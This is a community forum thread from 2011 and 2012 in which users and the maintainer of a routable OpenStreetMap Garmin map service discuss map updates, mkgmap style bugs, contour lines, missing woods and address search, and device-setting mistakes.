The latest map version (19-11-2011) has now been distributed between the servers. And guess what... no more flooding in Sidney 😄
Thanks for noticing the problem!
- Re: Worldwide routable Garmin maps: URL REMOVED · 32110 (Gast) · 21.11.2011 11:47 · [flux]
Lambertus - you can blame whatever you like. The work you and others do on this project for the rest of us to use is much appreciated by me and I'm sure very many others.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 21.11.2011 12:11 · [flux]
Thanks 32110. Enjoy!
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 23.11.2011 21:13 · [flux]
Hi Lambertus,
User error. I had inadvertently turned off all but the base layer. 🙁 would have deleted the post but not an option. I use your map output often and it is very much appreciated.
[I see you updated the OSM data but when I pull maps today from SE Asia (Vietnam, Laos, Cambodia, etc.) I only get background. My earlier maps were quite detailed (roads, POI's, etc.).]
Cheers,
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.11.2011 23:10 · [flux]
DRTBYK wrote:
[I see you updated the OSM data but when I pull maps today from SE Asia (Vietnam, Laos, Cambodia, etc.) I only get background. My earlier maps were quite detailed (roads, POI's, etc.).]
I assume this happens in MapSource? Have you tried pressing ctrl+g twice yet?
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 24.11.2011 00:12 · [flux]
Lambertus wrote:
DRTBYK wrote:
[I see you updated the OSM data but when I pull maps today from SE Asia (Vietnam, Laos, Cambodia, etc.) I only get background. My earlier maps were quite detailed (roads, POI's, etc.).]
I assume this happens in MapSource? Have you tried pressing ctrl+g twice yet?
No. I am using BaseCamp and I had forgotten that I "turned off" map detail using the "Hide Map Detail" feature.
Cheers,
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.11.2011 14:29 · [flux]
So we now have half a page full with user errors 😛
Glad you worked it out though.
- Re: Worldwide routable Garmin maps: URL REMOVED · AlexandrosPapadopoulos (Gast) · 06.12.2011 16:46 · [flux]
Hello and thanks again for a great service. I have been travelling in South America for the past few months and I keep updating/adding ways/POIs to OSM - it´s great to know that every month or so I can download the latest map of the country I am in and I will have the latest and greatest! Helps contributors get a valuable sense of progress.
I travel by bicycle and the two things that would be great to have (for my Garmin device) are:
1. Contour lines (a-la opencyclemap.org)
2. Different rendering for paved vs unpaved roads. An example of this is http://osm.org/go/MI~egFpOm- which is tagged as paved to the west of the intersection and unpaved to the east, but is rendered as exactly the same on both sides. Is it possible to render these differently on the GPS to make it obvious which ways are unpaved?Cheers
Alex
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.12.2011 18:34 · [flux]
I'm not sure about contour lines, but paved vs unpaved roads would be no problem to render. If and when my Openfietsmap will be rendered world wide (Lambertus?) you would see those unpaved roads as track road.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.12.2011 21:13 · [flux]
Working on the scripts as I write this...
Contours will be a problem unless there becomes a third server I think. Worldwide contours take a lot of space. A lot!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.12.2011 00:21 · [flux]
How much is a lot? If whole Europe is 1,1 gb (Computer Teddy's website) and Europe is 7% of the worlds landmass, I would guess 15 gb is needed for the whole world? Of course you dont want to put the contours in all your country maps, but maybe a separate mapset of contours only?
- Re: Worldwide routable Garmin maps: URL REMOVED · AlexandrosPapadopoulos (Gast) · 16.12.2011 20:19 · [flux]
Perhaps contour-enabled maps should be a selectable/togglable option?
I expect most users would not need this information (e.g. for motorists) but for walkers/hikers/cyclists elevation profiles are useful to know.
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 21.12.2011 00:22 · [flux]
I have loaded OSM Russia with TYP file option onto my Garmin Montana 650. When I do this I can no longer do an effective Address Search on the Garmin City Navigator NA map I also have installed. Even if I Disable the OSM Routable maps, the CNNA Address search process is still being impacted negatively by the OSM maps. I can search the OSM maps with no problems. When I remove the OSM-TYP map my CNNA Address Search works properly. If I use the OSM Map without the TYP file there is no problem. Other non-Garmin maps do not cause this problem.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.12.2011 11:04 · [flux]
I assume you are talking about the Mapnik.typ file from garmin.openstreetmap.nl?
Does this error happen as well if you try it with other osm maps from other countries other than osm russia? - Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 21.12.2011 18:10 · [flux]
ligfietser wrote:
I assume you are talking about the Mapnik.typ file from garmin.openstreetmap.nl?
Does this error happen as well if you try it with other osm maps from other countries other than osm russia?Your assumption is correct and it happens with China so I made the assumption (usually a bad thing) that all of Mapnik TYP file compiles were an issue. I can try a few others if need be.
I'm going to try one other test to eliminate one other possible issue. I'll post later.
Cheers,
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.12.2011 19:57 · [flux]
Thanks, it would be great if you could also test this gmapsupp.img (small test map from the netherlands with typ file) : http://code.google.com/p/mkgmap-style-s … apsupp.img It contains a different typ file.
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 22.12.2011 01:17 · [flux]
So, it's not just Russia. All OSM maps when installed using the GMAPI file and then installed on the GPS using Garmin's MapInstall application produce the same results. That being, the GPS sees the new country map in addition to City Navigator NA. When preforming an Address Search, the first option is to select the Country to search. If one selects the United States (CNNA), only Alaska is searched for the next criteria: City.
If OSM maps are loaded using the gmapsupp.img download direct to the GPS, then the GPS does not recognize the map as another country. So when doing an Address Search, there is no option to select the country to search.
I don't know if this is an issue with the Garmin Montana or with OSM maps or with the MapInstall application. Garmin doesn't care about OSM issues. Although they might look at this one if I plead with the Montana Development Team.
Cheers,
- Re: Worldwide routable Garmin maps: URL REMOVED · cloud (Gast) · 22.12.2011 06:09 · [flux]
I requseted a set of maps and got an e-mail notifying the map set is ready for download. However, I can not find the url address for downloading from the notification e-mail, which is quoted below.
Does this e-mail contain the address? If so, what is it and where is it?
I tried several times to send an e-mail asking help for this to the sender of the notification e-mail by the address shown in the sender address of the e-mail but all the sendings were unsuccessful with the error message,"To: lambertus@osm.pleiades.uni-wuppertal.de, 2011/12/21 13:34:42, 401, Connection failed. 132.195.124.8:25"
Would somebody help me?
The Ready notification e-mail
Subject: Your routable Garmin map request: Ready
Date: Wed, 21 Dec 2011 03:30:47 +0100
From: Routable OSM Garmin maps - custom map server <lambertus@osm.pleiades.uni-wuppertal.de>Hi, Your request for a routable Garmin map on garmin.openstreetmap.nl is ready. The server has generated four different configurations of your map: * _mapsource.exe = Installer for Garmin MapSource (Windows). * _roadtrip.zip = Installer for Garmin RoadTrip (Mac OSX) * _gmapsupp.zip = Combined image for direct manual placement on the GPS device (gmapsupp.img) * _tiles.zip = A zip file containing the tiles in the request, especially useful for Linux users (e.g. QLandkarte) Please browse to the website listed below and download the map configuration(s) you're interested in. Your request will be available on the server for 48 hours before it's deleted. Enjoy! -- Lambertus http://garmin.openstreetmap.nl If you try to download your map but get the message '404 Not Found' and you are sure to have requested the map less then 48 hours ago, then this is probably because of the following three options: 1) Please take a close look at the url in the email above as it is possible that a section of the url is on the next line. If this is the case then you have to copy/paste the url sections in the browser address bar (without the '<' and '>' characters). 2) The download window has passed and the server deleted your request to make room for other requests. If you tried to download around 48 hours after you received the email (check the timestamps in the headers) then this is most probably the cause, you can simply request your map again (and make sure you download soon after you've received the email). 3) A problem occurred while building the map. Please reply to this email (and include this email) stating that your map request has failed. Thanks! These maps are created with OpenStreetMap data and hosting is sponsored by Oxilion. If you enjoy this service then please consider contributing to OpenStreetMap (http://wiki.openstreetmap.org/wiki/Beginners%27_guide) and/or using Oxilion for your hosting needs (http://www.oxilion.nl)
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 22.12.2011 15:12 · [flux]
DRTBYK wrote:
So, it's not just Russia. All OSM maps when installed using the GMAPI file and then installed on the GPS using Garmin's MapInstall application produce the same results. That being, the GPS sees the new country map in addition to City Navigator NA. When preforming an Address Search, the first option is to select the Country to search. If one selects the United States (CNNA), only Alaska is searched for the next criteria: City.
If OSM maps are loaded using the gmapsupp.img download direct to the GPS, then the GPS does not recognize the map as another country. So when doing an Address Search, there is no option to select the country to search.
I don't know if this is an issue with the Garmin Montana or with OSM maps or with the MapInstall application. Garmin doesn't care about OSM issues. Although they might look at this one if I plead with the Montana Development Team.
Cheers,
Do you mean this issue is not specifically related anymore to the Mapnik typ file? It could be an mkgmap issue (all those osm maps are compiled with mkgmap), so I suggest you can post it on the mkgmap mailing list:
http://www.mail-archive.com/mkgmap-dev@ … /info.html - Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 22.12.2011 23:49 · [flux]
ligfietser wrote:
DRTBYK wrote:
So, it's not just Russia. All OSM maps when installed using the GMAPI file and then installed on the GPS using Garmin's MapInstall application produce the same results. That being, the GPS sees the new country map in addition to City Navigator NA. When preforming an Address Search, the first option is to select the Country to search. If one selects the United States (CNNA), only Alaska is searched for the next criteria: City.
If OSM maps are loaded using the gmapsupp.img download direct to the GPS, then the GPS does not recognize the map as another country. So when doing an Address Search, there is no option to select the country to search.
I don't know if this is an issue with the Garmin Montana or with OSM maps or with the MapInstall application. Garmin doesn't care about OSM issues. Although they might look at this one if I plead with the Montana Development Team.
Cheers,
Do you mean this issue is not specifically related anymore to the Mapnik typ file? It could be an mkgmap issue (all those osm maps are compiled with mkgmap), so I suggest you can post it on the mkgmap mailing list:
http://www.mail-archive.com/mkgmap-dev@ … /info.htmlIt doesn't appear to be the TYP file. I'll post over on the mkgmap list when I get a chance. I'll give your TYP file a run later today. Thanks.
Cheers,
- Re: Worldwide routable Garmin maps: URL REMOVED · DRTBYK (Gast) · 23.12.2011 01:54 · [flux]
ligfietser wrote:
Thanks, it would be great if you could also test this gmapsupp.img (small test map from the netherlands with typ file) : http://code.google.com/p/mkgmap-style-s … apsupp.img It contains a different typ file.
Looks good. The map was recognized on my Montana 650 as a Country map and the country name as searchable (once I figured out the language) as were City names. I gave up on Address search since I don't speak Dutch.
The zoom level at which the World Basemap is taken over by your map could be a bit lower. The map also does not show up in BaseCamp when the Montana is connected .
Cheers,
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.12.2011 09:55 · [flux]
Thanks for testing drtbyk, glad to hear this one is ok. This map does not show in Basecamp because I have compiled it with Mapsource (at the moment when I made it, mkgmap couldnt generate a working address index, but recent developments will make this work too and will make it show up in Basecamp).
- Re: Worldwide routable Garmin maps: URL REMOVED · jgplato (Gast) · 23.12.2011 21:32 · [flux]
I'm downloading maps from the osm website for some time now with my desktop, which runs on Windows XP. The system works without any trouble at all, uploading maps on my gps device perfectly. Building your own maps is just thrilling. So far so good.
I recently bought a netbook which runs on Windows 7 (starter ed.). Initially I simply used the maps from my desktop, but noticed that parts of the maps wouldn't build up properly. leaving open whole parts, specially when I scrolled rather fast.
So I decided to download the maps with my netbook, but then the results were even worse.
What could I do? - Re: Worldwide routable Garmin maps: URL REMOVED · wimallegaert (Gast) · 24.12.2011 09:59 · [flux]
Hello,
We've downloaded the OSM-maps of New Zealand (by selecting New Zealand of manual selection), we've installed the maps on the pc. When we zoom in in mapsource, we can only see a small part of New Zealand. There seems to be a vertical line that hides/covers the rest of the islands. Is this a known problem? We've never had this problem before with other countries.
Kinds regards
Wim - Re: Worldwide routable Garmin maps: URL REMOVED · cloud (Gast) · 25.12.2011 07:24 · [flux]
cloud wrote:
I requseted a set of maps and got an e-mail notifying the map set is ready for download. However, I can not find the url address for downloading from the notification e-mail, which is quoted below.
Does this e-mail contain the address? If so, what is it and where is it?
I tried several times to send an e-mail asking help for this to the sender of the notification e-mail by the address shown in the sender address of the e-mail but all the sendings were unsuccessful with the error message,"To: lambertus@osm.pleiades.uni-wuppertal.de, 2011/12/21 13:34:42, 401, Connection failed. 132.195.124.8:25"
Would somebody help me?
The Ready notification e-mail
Subject: Your routable Garmin map request: Ready
Date: Wed, 21 Dec 2011 03:30:47 +0100
From: Routable OSM Garmin maps - custom map server <lambertus@osm.pleiades.uni-wuppertal.de>Hi, Your request for a routable Garmin map on garmin.openstreetmap.nl is ready. The server has generated four different configurations of your map: * _mapsource.exe = Installer for Garmin MapSource (Windows). * _roadtrip.zip = Installer for Garmin RoadTrip (Mac OSX) * _gmapsupp.zip = Combined image for direct manual placement on the GPS device (gmapsupp.img) * _tiles.zip = A zip file containing the tiles in the request, especially useful for Linux users (e.g. QLandkarte) Please browse to the website listed below and download the map configuration(s) you're interested in. Your request will be available on the server for 48 hours before it's deleted. Enjoy! -- Lambertus http://garmin.openstreetmap.nl If you try to download your map but get the message '404 Not Found' and you are sure to have requested the map less then 48 hours ago, then this is probably because of the following three options: 1) Please take a close look at the url in the email above as it is possible that a section of the url is on the next line. If this is the case then you have to copy/paste the url sections in the browser address bar (without the '<' and '>' characters). 2) The download window has passed and the server deleted your request to make room for other requests. If you tried to download around 48 hours after you received the email (check the timestamps in the headers) then this is most probably the cause, you can simply request your map again (and make sure you download soon after you've received the email). 3) A problem occurred while building the map. Please reply to this email (and include this email) stating that your map request has failed. Thanks! These maps are created with OpenStreetMap data and hosting is sponsored by Oxilion. If you enjoy this service then please consider contributing to OpenStreetMap (http://wiki.openstreetmap.org/wiki/Beginners%27_guide) and/or using Oxilion for your hosting needs (http://www.oxilion.nl)
I have found the way to sove the problem I had. If anyone has the same problem, the explanation below would help.
The problem was that the e-mail server of my use discards the url address which is normaly located between 'before it's deleted.' and 'Enjoy!'.
If it happens, then use an e-mail address of a different e-mail server for the notification mail, i.e., at the e-mail address box on the Map Request screen.
- Re: Worldwide routable Garmin maps: URL REMOVED · Bruce H (Gast) · 05.01.2012 15:18 · [flux]
Lamburtus:
When will the next refresh of data take place on http://garmin.openstreetmap.nl/, I am going to Cuba next week and I would like to be able to have an updated map to take with me, I have made a number of updates to the area around Trinidad that would be helpful to have when I travel there.
Thanks
Bruce
- Re: Worldwide routable Garmin maps: URL REMOVED · Dogran999 (Gast) · 05.01.2012 18:31 · [flux]
AlexandrosPapadopoulos wrote:
Perhaps contour-enabled maps should be a selectable/togglable option?
I expect most users would not need this information (e.g. for motorists) but for walkers/hikers/cyclists elevation profiles are useful to know.
Hi just new here but found the routeable UAE map excellent. I have been using ground truth to compile my own but this is not routeable. I have also used ground truth to generate a contour only map of the UAE which works great. I can use the same map with or without the contours showing so now have on road and offload maps in one device. Cool, many thanks.
One thing that might be worth doing if it's not possible to host the contours for the world... Is to indicate the map bounds so enabling a way to generate contours to match the map.
Also reducing the elevation resolution decreases the size of the contour map quite a lot. So I only show 100m contours which works great here as there are large areas of land which are fairly flat and other areas that are quite mountainous.
In any case I recomend looking at groundtruth to generate your contours to overlay on the osm map
Regards
C
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 05.01.2012 18:34 · [flux]
Dogran999 Check out http://wiki.openstreetmap.org/wiki/Wiki … b_Emirates too and join the select band of UAE-based OSM mappers!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 05.01.2012 22:14 · [flux]
Bruce H wrote:
When will the next refresh of data take place on http://garmin.openstreetmap.nl/, I am going to Cuba next week and I would like to be able to have an updated map to take with me, I have made a number of updates to the area around Trinidad that would be helpful to have when I travel there.
A new update is started tomorrow (Friday) evening CET and should finish uploading somewhere early morning on Sunday. I hope this is in time for you. If not, then I only have one tip to offer: start mapping earlier next time 😉
To all who sent emails etc over Christmas and New Year: I'm slowly recovering from a nasty double cold/infection and I'm hopelessly running behind in answering emails. Please be patient a bit longer.
- Re: Worldwide routable Garmin maps: URL REMOVED · mdg (Gast) · 07.01.2012 02:43 · [flux]
Is this just some kind of sick joke? Per Instructions: There is NO 'ENABLE TILE SELECTION' window, There is no 'email' window...Shift selection doesn't highlight
anything... Do you work for Garmin maps? - Re: Worldwide routable Garmin maps: URL REMOVED · Bruce H (Gast) · 07.01.2012 03:07 · [flux]
Lambertus wrote:
Bruce H wrote:
When will the next refresh of data take place on http://garmin.openstreetmap.nl/, I am going to Cuba next week and I would like to be able to have an updated map to take with me, I have made a number of updates to the area around Trinidad that would be helpful to have when I travel there.
A new update is started tomorrow (Friday) evening CET and should finish uploading somewhere early morning on Sunday. I hope this is in time for you. If not, then I only have one tip to offer: start mapping earlier next time 😉
To all who sent emails etc over Christmas and New Year: I'm slowly recovering from a nasty double cold/infection and I'm hopelessly running behind in answering emails. Please be patient a bit longer.
Lambertus:
Thanks, that actually works perfect for me, I leave for Cuba on Wednesday morning. I will keep your suggestion in mind, and will make any additional updates to the data as soon as I return.
Bruce H.
- Re: Worldwide routable Garmin maps: URL REMOVED · Dogran999 (Gast) · 07.01.2012 05:20 · [flux]
csdf wrote:
Dogran999 Check out http://wiki.openstreetmap.org/wiki/Wiki … b_Emirates too and join the select band of UAE-based OSM mappers!
Csdf
Thanks for the tip. Had a look round and will keep the tips in mind. One question. The contour maps I have been generating to overlay, work pretty well, but do you know if there is an option to make them unselectable on the garmin? Also despite trying several methods to change the colour and thickness of the lines the contours come out as medium thick black lines. Any idea how to change them? They were created using groundtruth using the following
Groundtruth -ibf=output.ibf -mn=Uaecontours -fn=Uaecontours -cr={Have tried several rules files}
Then I combine the tiles into one img file with gmaptool and copy to the maps directory on the nuvi garmin.
C
- Re: Worldwide routable Garmin maps: URL REMOVED · csdf (Gast) · 08.01.2012 06:34 · [flux]
1) Overlay maps are unselectable on certain Garmin devices and not on others. On my GPSMap76Csx they are unselectable if compiled with a different family ID. I'm not sure that there is a definitive list of which models they work on but my vague recollection is that it's easier to unselect on older models than on newer models.
2) I don't use Groundtruth to make contours so I can't answer with any exactness, but the way your contours are displayed depends on a) the GPS unit you use b) its firmware c) any TYP file that is also incoporated
I use srtm2osm to create OSM-format contours, then convert these to Garmin IMG format using mkgmap and combine them with my TYP file which has custom definitions for contour lines. More details on the contour-creation side here: http://www.cferrero.net/maps/mkgmap_tid … l#contours
- Re: Worldwide routable Garmin maps: URL REMOVED · 32110 (Gast) · 08.01.2012 17:19 · [flux]
Is the system broken at the moment (8/1/12)? I did a custom map of all UK and Ireland and the download was smaller than previous. Also many of the tiles seemed to be blank. I note that the date now being reported below the map window (which doesn't load) is dated 23/12/2012, yes 2012! Something wrong somewhere.
- Re: Worldwide routable Garmin maps: URL REMOVED · mdg (Gast) · 08.01.2012 18:07 · [flux]
Hello; I loaded a map (Thank You) onto my Garmin Oregon, but it's much smaller than the area I selected? I did
this twice with the same result?Is there a limit to the map size that is different from the memory card size? How do you select a larger area?
The whole U.S. for example or even a region (SW USA)...?Second; even though I loaded the two maps onto a single SD card, only one showed up on the Garmin. Is
there a way for combine the multiple maps? Thank You again... mdg - Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 08.01.2012 18:28 · [flux]
mdg,
IIRC the maximum number of tiles is around 2500.
The maximum memory for vector maps is 4GB (All of OpenStreetMap for the US should fit, but if you are adding topo you will probably run out of space), although you can add raster maps and Birdseye imagery well beyond this.
If you are using BaseCamp or MapSource to load IMG files to your OR they both send a file named gmapsupp.img. It will overwrite the existing file of the same name. The workaround is to rename the gmapsupp.img file replacing gmapsupp with a useful mnemonic. Keep the IMG extension. Send as many maps as will fit in the 4MB limit. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.01.2012 19:38 · [flux]
32110 wrote:
Is the system broken at the moment (8/1/12)? I did a custom map of all UK and Ireland and the download was smaller than previous. Also many of the tiles seemed to be blank. I note that the date now being reported below the map window (which doesn't load) is dated 23/12/2012, yes 2012! Something wrong somewhere.
Yes, the upload broke down because my router hung and needed a reboot. Somehow the upload did manage to update the version number so that the website thinks that there is a new version available.
Anyway, all the missing tiles have been uploaded now and the new version is available.
It's using the latest Mkgmap r2162 which should create a proper address index in the gmapsupp image directly. So with this new version you can have a proper address search function on the GPS without having to use Mapsource to generate the gmapsupp. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.01.2012 17:24 · [flux]
Lambertus, I suppose you forgot to update the style files to r2162?
This is important because in the older mkgmap versions was a bug introduced where villages got a garmin type that couldnt be found in the place search. (They got Garmin type 0x1100, which is now corrected to type 0x900). In your latest map they are still rendered with 0x1100. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 09.01.2012 17:40 · [flux]
ligfietser wrote:
Lambertus, I suppose you forgot to update the style files to r2162?
This is important because in the older mkgmap versions was a bug introduced where villages got a garmin type that couldnt be found in the place search. (They got Garmin type 0x1100, which is now corrected to type 0x900). In your latest map they are still rendered with 0x1100.I was wondering why I can't find a lot of streets or even villages and was already trying to create a small test-case, perhaps the bug explains it.
But, I'm not specifying any style file during map combining so it's using the default style file (if it uses a style file at all during gmapsupp generation, I guess not). I'll check the initial tile rendering script this evening and report back here.
Edit: Yes, you are correct, a styles directory from November 19th was used for this update. I've checked out the latest version from SVN so the problem should be fixed (or work better at the next release).
Thanks ligfietser!
BTW, do you know why some streets within a city (e.g. Apeldoorn) can be found without a problem while many many others are not? I don't think this can be traced back to the above problem...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 09.01.2012 19:04 · [flux]
There are also some streets 'lost' in Berlin according to the mkgmap mailinglist, so it looks a mkgmap problem...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.01.2012 11:10 · [flux]
Lambertus, please beware that Marko cut down the landuse drastically in the default styles, so forests etc wont appear anymore in those styles!
The landuse can be found in a different substyle:
http://www.mkgmap.org.uk/svn/wsvn/mkgma … e/polygonsTo include it you must edit the info file of the default substyle:
http://www.mkgmap.org.uk/svn/wsvn/mkgma … fault/infoIm not sure how and if it is working properly.
- Re: Worldwide routable Garmin maps: URL REMOVED · Wim Peeters (Gast) · 16.01.2012 10:56 · [flux]
Hello Lambertus
I tried the new set from 14-01-2011. Seems the "find" for placs like Grathem and Kessel now works. Nice.
Good to go for my wuest and mapsource!
I'm gonna use it for my trips I guessOne small buggy item, Kessel is located in Limburg, NLD. It find Kessel in "kreis Viersen" which is Germany. I do not know it it is wrong in the openstreetmaps or in you "mkgmap" setting.
Wim
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.01.2012 11:41 · [flux]
Could be a bug in mkgmap or the mkgmap processing, mkgmap guesses in what Province Kessel is located. If the tiles are cut maybe there is a relation of administrative district broken during the process. Instead of Limburg it looks in a neighbouring district which could be Viersen (Venlo is also in Viersen ;-)). To prevent this, you can use Wanmil's boundary file which can downloaded from http://navmaps.eu/index.php/developers/bound
I dont know if Lambertus uses this one.I use the following parameters
--location-autofill=bounds,is-in,nearest
--bounds=boundsBtw I see also a lot of places without country (ABC instead of NLD) so I guess this is also a result of broken admin. districts. It may also explain why some streets are missing (Apeldoorn in ABC and Apeldoorn in NLD?)
- Re: Worldwide routable Garmin maps: URL REMOVED · ajoessen (Gast) · 16.01.2012 12:32 · [flux]
ligfietser wrote:
Btw I see also a lot of places without country (ABC instead of NLD) so I guess this is also a result of broken admin. districts. It may also explain why some streets are missing (Apeldoorn in ABC and Apeldoorn in NLD?)
I noticed this in my self-built map. Last month I got a map with correct country code. Maybe a bug in the latest mkgmap Version?
Greetings,
ajoessen - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 16.01.2012 12:50 · [flux]
Which version did you use? I'm using mkgmap-r2165 in combination with the europe bounds file and I don't see a default 'country' ABC
- Re: Worldwide routable Garmin maps: URL REMOVED · kukuk (Gast) · 16.01.2012 14:28 · [flux]
ajoessen wrote:
ligfietser wrote:
Btw I see also a lot of places without country (ABC instead of NLD) so I guess this is also a result of broken admin. districts. It may also explain why some streets are missing (Apeldoorn in ABC and Apeldoorn in NLD?)
I noticed this in my self-built map. Last month I got a map with correct country code. Maybe a bug in the latest mkgmap Version?
Greetings,
ajoessenThis was a bug in an older mkgmap version, but was fixed meanwhile. I'm not able to reproduce it anymore using mkgmap r2133 or newer with bounds from december.
Thorsten
- Re: Worldwide routable Garmin maps: URL REMOVED · eggie (Gast) · 18.01.2012 16:58 · [flux]
Hi Lambertus,
I did twice a download (update 14-01-2012 )from the site to get The Netherland into Mapsource. I selected all the tiles. The first time I choose for automatic selection.. the second time I selected the tiles myself.
In Mapsource the map looks oké, but in my gps some tiles in the Netherlands are missing. For instance my beautiful "Island of Dordrecht."
I send the map several times to the sd-card, (also an empty one) with the same result. The same missing parts.
http://www.openstreetmap.org/?lat=51.79 … 4&layers=MGroet,
Eggie - Re: Worldwide routable Garmin maps: URL REMOVED · gerhard81 (Gast) · 19.01.2012 14:09 · [flux]
Hi!
Thank you for providing the OSM Data so easily!
When downloading the latest data (gmapsup.img) of Austria today the woods are not shown any more on my Oregon 300. I did not find information about that (only one post here in this forum which did not help me) and I don't wanna create the maps by myself (other users have much more talent in this...) - any hint for me?
Thanks
- Re: Worldwide routable Garmin maps: URL REMOVED · Seldom (Gast) · 19.01.2012 16:26 · [flux]
If you can see woods on the map in BaseCamp or MapSource, but can't see them on your OR300 try Setup|Map|Advanced Map Setup|Text Size| LandCover.
(Who knows why they put land cover under text size?)
You may also want to switch profiles. Default "Recreational" is a good one. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.01.2012 18:31 · [flux]
Almost all landuse is stripped from the default style so that could be the reason why there are no forests on the map anymore. Without a style file, the map looks a lot less cluttered in Mapsource now. On the other hand, too many boundaries, powerlines and gsm masts seems back...
- Re: Worldwide routable Garmin maps: URL REMOVED · gerhard81 (Gast) · 20.01.2012 12:45 · [flux]
Thanks for the replies.
Newby questions: Does that mean, that with the generated gmapsupp.img it is not possible to see "woods" again? I need to download the tiles, include in Mapsource, include a TYP file and generate a new one.
The old ones were just perfect for me...
- Re: Worldwide routable Garmin maps: URL REMOVED · ajoessen (Gast) · 20.01.2012 13:08 · [flux]
gerhard81 wrote:
Thanks for the replies.
Newby questions: Does that mean, that with the generated gmapsupp.img it is not possible to see "woods" again? I need to download the tiles, include in Mapsource, include a TYP file and generate a new one.
The old ones were just perfect for me...
It means that Lambertus has to work a bit on his styles. In the meantime, you could test other maps. The openfietsmap for example, or Freizeitkarte by toc-rox, or build your own one:
http://wiki.openstreetmap.org/wiki/User … lber_bauenGreetings
ajoessen - Re: Worldwide routable Garmin maps: URL REMOVED · hawk25 (Gast) · 22.01.2012 22:57 · [flux]
Hi,
great site! Tried compiling an individual map of the US. Did not get the gmapsupp.zip fo download. This is the link: Index of /garmin/routable/14-01-2012/efffb9822886ae976f4d101df7d4b93b. No idea where the rest is.
Thanks for the good work.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 23.01.2012 10:27 · [flux]
Can you forward the email (unedited) to osm [at] na1400 [dot] info? Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 04.02.2012 07:15 · [flux]
Just wondering if anyone else came across something like this ...
I was using maps from the end of December with the standard Mapnik Type file. In my Garmin 20, the routing does not seem to respect one-way streets. It will route along the streets, but in the wrong direction on one-way streets if it needs to, for the shortest route.
In OSM everything is fine, and in Mapsource and Basecamp routing works as it should. It just seems to disregard the one-way aspect when routing in the Garmin 20.
I checked with an actual Garmin map of the same area and routing along one-way streets seems to work fine. The odd thing is I pulled out the old Garmin Vista Cx with the same OSM map and the routing works as it should, in the correct direction along one-way streets.The map was transferred to both devices via Mapsource.
I have doubled checked that the problem exists and it has me baffled. Could someone else with a Garmin 20 (or maybe any newer Garmins) check this and tell me whether I am going crazy or not?
Thanks and jama rek.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 04.02.2012 07:25 · [flux]
I take it as read that you have checked that your GPS is not set to pedestrian mode? I am afraid that one day Garmin will come up with a way to discourage us from using free maps. Maybe that day has arrived... 🙁
- Re: Worldwide routable Garmin maps: URL REMOVED · Zartbitter (Gast) · 04.02.2012 13:26 · [flux]
alimamo wrote:
In OSM everything is fine, and in Mapsource and Basecamp routing works as it should. It just seems to disregard the one-way aspect when routing in the Garmin 20.
Hmm, I think I've read something about Garmin changing the way restrictions are handled in their new models. so maybe no map generated with mkgmap works with the new models in respect to oneways, turn restrictions, maxheight, ...
But i'm not sure about this. Please correct me if I'm wrong. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 04.02.2012 13:40 · [flux]
It would be interesting to know whether this problem only occurs with OSM maps (compiled with mkgmap) or with other maps that are made with cgpsmapper as well. If the latter work then the programmers of mkgmap need to be made aware of the problem, so they can fix it.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · alimamo (Gast) · 04.02.2012 14:03 · [flux]
Beddhist wrote:
I take it as read that you have checked that your GPS is not set to pedestrian mode?
Turns out the Garmin Dakota 20 WAS set to Pedestrian Mode.
On switching it to Car/Motorcycle or Bicycle, so far it looks like it DOES respect one-way streets.
So it was my fault. False alarm everyone.
Usually it is set to Bicycle; I don't remember switching it to Pedestrian.
Thanks for the clue Beddhist.
jama rek,
- Re: Worldwide routable Garmin maps: URL REMOVED · petersfreeman (Gast) · 05.02.2012 02:48 · [flux]
wimallegaert wrote:
Hello,
We've downloaded the OSM-maps of New Zealand (by selecting New Zealand of manual selection), we've installed the maps on the pc. When we zoom in in mapsource, we can only see a small part of New Zealand. There seems to be a vertical line that hides/covers the rest of the islands. Is this a known problem? We've never had this problem before with other countries.
Kinds regards
WimThis problem has been around for some time. The maps work fine in my Garmin GPSMap 76CSx when I transfer them, just a bit annoying when trying to look at the North Island of New Zealand. I use NZ Open GPS Project maps at http://www.nzopengps.org/ There is some forum entries about this problem on page 40-41.
We might see you in NZ as we will be cycling in the South Island February 15 to March 8th on a Tandem with a BOB Action Packer trailer. Our journal is on www.crazyguyyonabike.com
Cheers,
Peter
